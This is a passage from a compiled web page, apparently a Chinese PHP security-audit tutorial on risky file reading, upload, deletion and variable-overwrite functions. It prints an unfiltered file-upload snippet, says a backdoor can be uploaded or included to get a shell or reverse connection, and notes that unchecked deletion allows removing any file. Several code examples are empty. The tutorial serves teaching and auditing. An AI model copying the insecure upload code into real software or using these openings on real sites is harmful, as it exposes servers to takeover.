0c\u4f8b\u5982\u6211\u4eec\u5411\u670d\u52a1\u5668\u5199\u5165\u4e86\u540e\u95e8\uff0c\u4f46\u662f\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u8fde\u63a5\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u5982\u679c\u6709\u6587\u4ef6\u5305\u542b\u51fd\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u51fd\u6570\u5305\u542b\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\uff0c\u8ba9\u670d\u52a1\u5668\u53cd\u5f39\u8fde\u63a5\u6211\u4eec\u3002\u5c82\u4e0d\u7f8e\u54c9\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",children:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)"}),"\n",(0,r.jsx)(n.h4,{id:"file_get_contents",children:"file_get_contents()"}),"\n",(0,r.jsx)(n.p,{children:"\u51fd\u6570\u529f\u80fd\u662f\u5c06\u6574\u4e2a\u6587\u4ef6\u8bfb\u5165\u4e00\u4e2a\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"file_get_contents(path,include_path,context,start,max_length)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-15",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u8981\u8bfb\u53d6\u6587\u4ef6\u7684\u540d\u79f0\u3002"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5982\u679c\u4e5f\u60f3\u5728 include_path \u4e2d\u641c\u7d22\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.li,{children:"start\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u4e2d\u5f00\u59cb\u8bfb\u53d6\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.li,{children:"max_length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n"})}),"\n",(0,r.jsx)(n.h4,{id:"fopen",children:"fopen()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u5c06\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u6216URL\uff0c\u5982\u679c fopen() \u5931\u8d25\uff0c\u5b83\u5c06\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5728\u51fd\u6570\u540d\u524d\u9762\u6dfb\u52a0\u4e00\u4e2a ",(0,r.jsx)(n.code,{children:"@"})," \u6765\u9690\u85cf\u9519\u8bef\u8f93\u51fa\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"fopen(filename,mode,include_path,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-16",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u6253\u5f00\u7684\u6587\u4ef6\u6216URL"}),"\n",(0,r.jsx)(n.li,{children:"mode\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8bbf\u95ee\u7c7b\u578b\uff08\u4f8b\u5982\u53ea\u8bfb\uff0c\u53ea\u5199\uff0c\u8bfb\u5199\u65b9\u5f0f\u7b49\uff0c\u65b9\u5f0f\u7684\u89c4\u5b9a\u548c\u5176\u4ed6\u8bed\u8a00\u7684\u89c4\u5b9a\u65b9\u5f0f\u4e00\u81f4\uff09"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5c31\u662f\u4f60\u53ef\u4ee5\u6307\u5b9a\u641c\u7d22\u7684\u8def\u5f84\u4f4d\u7f6e\uff0c\u5982\u679c\u8981\u6307\u5b9a\u7684\u8bdd\uff0c\u90a3\u4e48\u8be5\u53c2\u6570\u8981\u6307\u5b9a\u4e3a- context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u4e2d\u5176\u5b9e\u4e5f\u5305\u542b\u4e86",(0,r.jsx)(n.code,{children:"fread"}),"\u7684\u7528\u6cd5\u3002\u56e0\u4e3a",(0,r.jsx)(n.code,{children:"fread"}),"\u4ec5\u4ec5\u53ea\u662f\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\uff0c\u8981\u60f3\u8bfb\u53d6\u8fd8\u5f97\u9700\u8981\u7528\u5230",(0,r.jsx)(n.code,{children:"fread"}),"\u6765\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"fread",children:"fread()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u521a\u624d\u5728\u4e0a\u4e2a\u51fd\u6570\u4e2d\u57fa\u672c\u5df2\u7ecf\u6f14\u793a\u8fc7\u4e86\uff0c\u5c31\u662f\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002\u8fd9\u91cc\u4ee3\u7801\u5c31\u4e0d\u518d\u6f14\u793a\u4e86\uff0c\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0b\u53c2\u6570\u548c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"string fread ( resource $handle , int $length )\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-17",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["handle\uff1a\u6587\u4ef6\u7cfb\u7edf\u6307\u9488\uff0c\u662f\u5178\u578b\u5730\u7531 ",(0,r.jsx)(n.code,{children:"fopen"}),"\u521b\u5efa\u7684",(0,r.jsx)(n.code,{children:"resource"}),"\u3002"]}),"\n",(0,r.jsx)(n.li,{children:"length\uff1a\u5fc5\u9700\u3002\u4f60\u8981\u8bfb\u53d6\u7684\u6700\u5927\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.h4,{id:"fgets",children:"fgets()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u4e00\u884c"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"fgets(file,length) \n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-18",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002\u9ed8\u8ba4\u662f1024\u5b57\u8282\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e2a\u51fd\u6570\u548c\u4e4b\u524d\u7684fread\u533a\u522b\u4e0d\u662f\u5f88\u5927\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8bfb\u53d6\u7684\u662f\u4e00\u884c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"fgetss",children:"fgetss()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8ddf\u4e0a\u4e2a\u6ca1\u4ec0\u4e48\u5dee\u522b\uff0c\u4e5f\u662f\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u53bb\u4e00\u884c\uff0c\u53ea\u4e0d\u8fc7\u8fc7\u6ee4\u6389\u4e86 HTML \u548c PHP \u6807\u7b7e\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"fgetss(file,length,tags)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-19",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u68c0\u67e5\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\uff0c\u9ed8\u8ba41024\u5b57\u8282\u3002"}),"\n",(0,r.jsx)(n.li,{children:"tags\uff1a\u53ef\u9009\u3002\u54ea\u4e9b\u6807\u8bb0\u4e0d\u53bb\u6389\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\ndemo.html\u4ee3\u7801\n

I am a demo

\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo\n'})}),"\n",(0,r.jsx)(n.h4,{id:"readfile",children:"readfile()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u4ece\u540d\u79f0\u57fa\u672c\u5c31\u77e5\u9053\u5b83\u662f\u5e72\u5565\u7684\u4e86\uff0c\u8bfb\u6587\u4ef6\u7528\u7684\u3002\u6b64\u51fd\u6570\u5c06\u8bfb\u53d6\u4e00\u4e2a\u6587\u4ef6\uff0c\u5e76\u5199\u5165\u5230\u8f93\u51fa\u7f13\u51b2\u4e2d\u3002\u5982\u679c\u6210\u529f\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u4ece\u6587\u4ef6\u4e2d\u8bfb\u5165\u7684\u5b57\u8282\u6570\u3002\u5982\u679c\u5931\u8d25\uff0c\u8be5\u51fd\u6570\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"readfile(filename,include_path,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-20",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u641c\u7d22\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'" . readfile("demo.txt");\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo:) I am a demo:(\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u770b\u5230\u4e0d\u4ec5\u8f93\u51fa\u4e86\u6240\u6709\u5185\u5bb9\uff0c\u800c\u4e14\u8fd8\u8f93\u51fa\u4e86\u603b\u5171\u957f\u5ea6\u3002\u4f46\u662f\u6ca1\u6709\u8f93\u51fa\u6362\u884c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"file",children:"file()"}),"\n",(0,r.jsx)(n.p,{children:"\u628a\u6587\u4ef6\u8bfb\u5165\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\uff0c\u6570\u7ec4\u4e2d\u6bcf\u4e00\u4e2a\u5143\u7d20\u5bf9\u5e94\u7684\u662f\u6587\u4ef6\u4e2d\u7684\u4e00\u884c\uff0c\u5305\u62ec\u6362\u884c\u7b26\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"file(path,include_path,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-21",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"path\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u53ef\u6307\u5b9a\u641c\u7d22\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u8bbe\u7f6e\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[0] => I am the first line! \n[1] => I am the second line! \n)\n'})}),"\n",(0,r.jsx)(n.h4,{id:"parse_ini_file",children:"parse_ini_file()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u540d\u79f0\u53ef\u4ee5\u770b\u51fa\uff0c\u8fd9\u4e2a\u51fd\u6570\u4e0d\u662f\u8bfb\u53d6\u4e00\u4e2a\u7b80\u5355\u7684\u6587\u4ef6\u3002\u5b83\u7684\u529f\u80fd\u662f\u89e3\u6790\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6(ini\u6587\u4ef6)\uff0c\u5e76\u4ee5\u6570\u7ec4\u7684\u5f62\u5f0f\u8fd4\u56de\u5176\u4e2d\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"parse_ini_file(file,process_sections)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-22",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684ini\u6587\u4ef6"}),"\n",(0,r.jsx)(n.li,{children:"process_sections\uff1a\u53ef\u9009\u3002\u82e5\u4e3aTRUE\uff0c\u5219\u8fd4\u56de\u4e00\u4e2a\u591a\u7ef4\u6570\u7ec4\uff0c\u5305\u62ec\u4e86\u8be6\u7ec6\u4fe1\u606f"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\ndemo.ini\u5185\u5bb9\uff1a\n[names]\nme = Robert\nyou = Peter\n\n[urls]\nfirst = "http://www.example.com"\nsecond = "https://www.runoob.com"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[me] => Robert \n[you] => Peter \n[first] => http://www.example1.com \n[second] => https://www.example2.com \n)\n'})}),"\n",(0,r.jsx)(n.h4,{id:"show_sourcehighlight_file",children:"show_source()/highlight_file()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e24\u4e2a\u51fd\u6570\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u60f3\u5fc5\u5927\u5bb6\u4e5f\u7ecf\u5e38\u89c1\u5230\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u5176\u4f5c\u7528\u5c31\u662f\u8ba9php\u4ee3\u7801\u663e\u793a\u5728\u9875\u9762\u4e0a\u3002\u8fd9\u4e24\u4e2a\u6ca1\u6709\u4efb\u4f55\u533a\u522b\uff0c",(0,r.jsx)(n.code,{children:"show_source"}),"\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(n.code,{children:"highlight_file"}),"\u7684\u522b\u540d\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"\u603b\u7ed3-2",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(n.p,{children:"\u6587\u4ef6\u8bfb\u53d6\u8fd9\u5757\u5185\u5bb9\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e0d\u96be\uff0c\u5927\u591a\u53ea\u662f\u57fa\u672c\u7684\u5e94\u7528\u3002\u91cd\u70b9\u6587\u4ef6\u8bfb\u53d6\u5982\u679c\u6ca1\u6709\u8bbe\u7f6e\u6743\u9650\u548c\u8fc7\u6ee4\u53c2\u6570\uff0c\u90a3\u5c31\u95ee\u9898\u5927\u4e86\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u8865\u5145\uff1a\u4ec0\u4e48\u662f\u53e5\u67c4\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"\u5f00\u5c40\u5148\u7ed9\u4e00\u6bb5\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'$file = fopen("demo.txt","rb");\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u6bb5\u4ee3\u7801\u4e2d",(0,r.jsx)(n.code,{children:"$file"}),"\u5c31\u662f\u4e00\u4e2a\u53e5\u67c4\u3002\u53e5\u67c4\u5173\u952e\u70b9\u5728\u201c\u67c4\u201d\uff0c\u540e\u9762\u7684",(0,r.jsx)(n.code,{children:"fopen"}),"\u662f\u4e00\u4e2a\u8d44\u6e90\uff0c\u597d\u6bd4\u4e00\u53e3\u9505\uff0c\u800c\u524d\u9762\u7684",(0,r.jsx)(n.code,{children:"$file"}),"\u5c31\u597d\u6bd4\u8fd9\u4e2a\u9505\u7684\u628a\u624b\u3002\u90a3\u4e48\u4ee5\u540e\u6211\u4eec\u5728\u64cd\u4f5c\u7684\u65f6\u5019\u64cd\u4f5c\u628a\u624b\u5c31\u884c\u4e86\u3002\u901a\u8fc7\u8fd9\u4e2a\u628a\u624b\u6211\u4eec\u53ef\u4ee5\u95f4\u63a5\u64cd\u4f5c\u6bd4\u8f83\u5927\u7684\u8d44\u6e90\u3002\u5176\u5b9e\u4e5f\u7c7b\u4f3cC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\uff0c\u53ea\u662f\u4e00\u4e2a\u6807\u8bc6\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u4e0a\u4f20",children:"\u6587\u4ef6\u4e0a\u4f20"}),"\n",(0,r.jsx)(n.h4,{id:"move_uploaded_file",children:"move_uploaded_file()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e0a\u4f20\u7684\u6587\u4ef6\u79fb\u52a8\u5230\u65b0\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"move_uploaded_file(file,newloc)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-23",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u79fb\u52a8\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"newloc\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u65b0\u4f4d\u7f6e\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u672c\u51fd\u6570\u68c0\u67e5\u5e76\u786e\u4fdd\u7531 file \u6307\u5b9a\u7684\u6587\u4ef6\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff08\u5373\u901a\u8fc7 PHP \u7684 HTTP POST \u4e0a\u4f20\u673a\u5236\u6240\u4e0a\u4f20\u7684\uff09\u3002\u5982\u679c\u6587\u4ef6\u5408\u6cd5\uff0c\u5219\u5c06\u5176\u79fb\u52a8\u4e3a\u7531 newloc \u6307\u5b9a\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5982\u679c file \u4e0d\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5982\u679c file \u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f46\u51fa\u4e8e\u67d0\u4e9b\u539f\u56e0\u65e0\u6cd5\u79fb\u52a8\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\uff0c\u6b64\u5916\u8fd8\u4f1a\u53d1\u51fa\u4e00\u6761\u8b66\u544a\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];\nmove_uploaded_file($_FILES['file']['tmp_name'],$fileName )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\u76f4\u63a5\u63a5\u6536\u4e0a\u4f20\u7684\u6587\u4ef6\uff0c\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55\u7684\u8fc7\u6ee4\uff0c\u90a3\u4e48\u5f53\u6211\u4eec\u4e0a\u4f20getshell\u7684\u540e\u95e8\u65f6\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u6743\u9650\uff0c\u53ef\u89c1\u8fd9\u4e2a\u51fd\u6570\u662f\u4e0d\u80fd\u4e71\u7528\u7684\uff0c\u5373\u4fbf\u8981\u7528\u4e5f\u8981\u5c06\u8fc7\u6ee4\u89c4\u5219\u5b8c\u5584\u597d\uff0c\u9632\u6b62\u4e0a\u4f20\u4e0d\u5408\u6cd5\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u5220\u9664",children:"\u6587\u4ef6\u5220\u9664"}),"\n",(0,r.jsx)(n.h4,{id:"unlink",children:"unlink()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u5220\u9664\u6587\u4ef6\u3002\u6210\u529f\u8fd4\u56de TURE \uff0c\u5931\u8d25\u8fd4\u56de FALSE\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"unlink(filename,context)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-24",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u5220\u9664\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(n.li,{children:"context\uff1a\u53ef\u9009\u3002\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u77e5\u9053\uff0c\u4e00\u4e9b\u7f51\u7ad9\u662f\u6709\u5220\u9664\u529f\u80fd\u7684\u3002\u6bd4\u5982\u5e38\u89c1\u7684\u8bba\u575b\u7f51\u7ad9\uff0c\u662f\u6709\u5220\u9664\u8bc4\u8bba\u6216\u8005\u6587\u7ae0\u529f\u80fd\u7684\u3002\u5018\u82e5\u7f51\u7ad9\u6ca1\u6709\u5bf9\u5220\u9664\u5904\u505a\u9650\u5236\uff0c\u90a3\u4e48\u5c31\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4efb\u610f\u6587\u4ef6\u5220\u9664\uff08\u751a\u81f3\u5220\u9664\u7f51\u7ad9\u6e90\u7801\uff09\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(n.h4,{id:"session_destroy",children:"session_destroy()"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e86\u89e3\u8fd9\u4e2a\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u4e86\u89e3 PHP session\u3002 PHP session \u53d8\u91cf\u7528\u4e8e\u5b58\u50a8\u5173\u4e8e\u7528\u6237\u4f1a\u8bdd\u7684\u4fe1\u606f\u3002\u5173\u4e8e sesson \u7684\u673a\u5236\u8fd9\u91cc\u6211\u5c31\u4e0d\u518d\u8fc7\u4e8e\u8be6\u7ec6\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"session_destroy()"}),"\u51fd\u6570\u7528\u6765\u9500\u6bc1\u4e00\u4e2a\u4f1a\u8bdd\u4e2d\u7684\u5168\u90e8\u6570\u636e\uff0c\u4f46\u5e76\u4e0d\u4f1a\u91cd\u7f6e\u5f53\u524d\u4f1a\u8bdd\u6240\u5173\u8054\u7684\u5168\u5c40\u53d8\u91cf\uff0c\u540c\u65f6\u4e5f\u4e0d\u4f1a\u91cd\u7f6e\u4f1a\u8bdd cookie"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:' \n'})}),"\n",(0,r.jsx)(n.h3,{id:"\u53d8\u91cf\u8986\u76d6",children:"\u53d8\u91cf\u8986\u76d6"}),"\n",(0,r.jsx)(n.h4,{id:"extract",children:"extract()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u4ece\u6570\u7ec4\u4e2d\u5c06\u53d8\u91cf\u5bfc\u5165\u5230\u5f53\u524d\u7684\u7b26\u53f7\u8868\u3002\u5176\u5b9e\u4f5c\u7528\u5c31\u662f\u7ed9\u53d8\u91cf\u91cd\u65b0\u8d4b\u503c\uff0c\u4ece\u800c\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"extract(array,extract_rules,prefix)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-25",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u4f7f\u7528\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(n.li,{children:["extract_rules\uff1a\u53ef\u9009\u3002extract\u51fd\u6570\u5c06\u68c0\u67e5\u6bcf\u4e2a\u952e\u540d\u662f\u5426\u4e3a\u5408\u6cd5\u7684\u53d8\u91cf\u540d\uff0c\u540c\u65f6\u4e5f\u68c0\u67e5\u548c\u7b26\u53f7\u4e2d\u5df2\u7ecf\u5b58\u5728\u7684\u53d8\u91cf\u540d\u662f\u5426\u51b2\u7a81\uff0c\u5bf9\u4e0d\u5408\u6cd5\u6216\u8005\u51b2\u7a81\u7684\u952e\u540d\u5c06\u4f1a\u6839\u636e\u6b64\u53c2\u6570\u7684\u8bbe\u5b9a\u7684\u89c4\u5219\u6765\u51b3\u5b9a\u3002\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"EXTR_OVERWRITE - \u9ed8\u8ba4\u3002\u5982\u679c\u6709\u51b2\u7a81\uff0c\u5219\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_SKIP - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u4e0d\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_SAME - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_ALL - \u7ed9\u6240\u6709\u53d8\u91cf\u540d\u52a0\u4e0a\u524d\u7f00 